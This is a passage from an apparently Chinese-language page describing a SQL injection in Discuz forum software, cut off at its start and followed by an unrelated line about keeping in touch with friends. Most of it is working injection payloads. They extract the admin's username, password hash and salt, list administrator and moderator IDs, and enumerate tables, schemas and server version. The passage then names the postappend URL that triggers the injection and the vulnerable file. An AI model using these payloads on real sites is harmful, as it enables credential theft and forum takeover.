a’,`subject`=(/*!select*/ concat(username,’|’,password,’|’,salt) from pre_ucenter_members where uid=1 limit 0,1),comment=’再给出一些语句。’,`subject`=(/*!select*/ group_concat(uid,’:’) from pre_common_member where groupid=1),comment=’//查看管理用户’,`subject`=(/*!select*/ group_concat(uid,’:’) from pre_common_member where groupid=2),comment=’//超级版主’,`subject`=(/*!select*/ group_concat(uid,’:’) from pre_common_member where groupid=3),comment=’//超级版主’,`subject`=(/*!select*/ table_name from information_schema.tables where table_schema=0x0000 limit 0,1),comment=’//跑表’,`subject`=(/*!select*/ group_concat(schema_name) from information_schema.schemata),comment=’//获取所有库’,`subject`=(/*!select*/ concat(@@version,’:’,user(),’:’,database())),comment=’//版本信息然后到回复补充那里随便补充一下，注入语句就被执行。补充的地址：forum.php?mod=misc&tid={tid}&action=postappend&pid={pid}上面的语句就会把取得的内容写进回复主题返回。漏洞文件：source\module\forum\forum_misc.php
标签分类： Discuz SQL注射
渐渐少了联络，友谊就变的淡了，所以，抽点时间，联络朋友一起聊聊天，
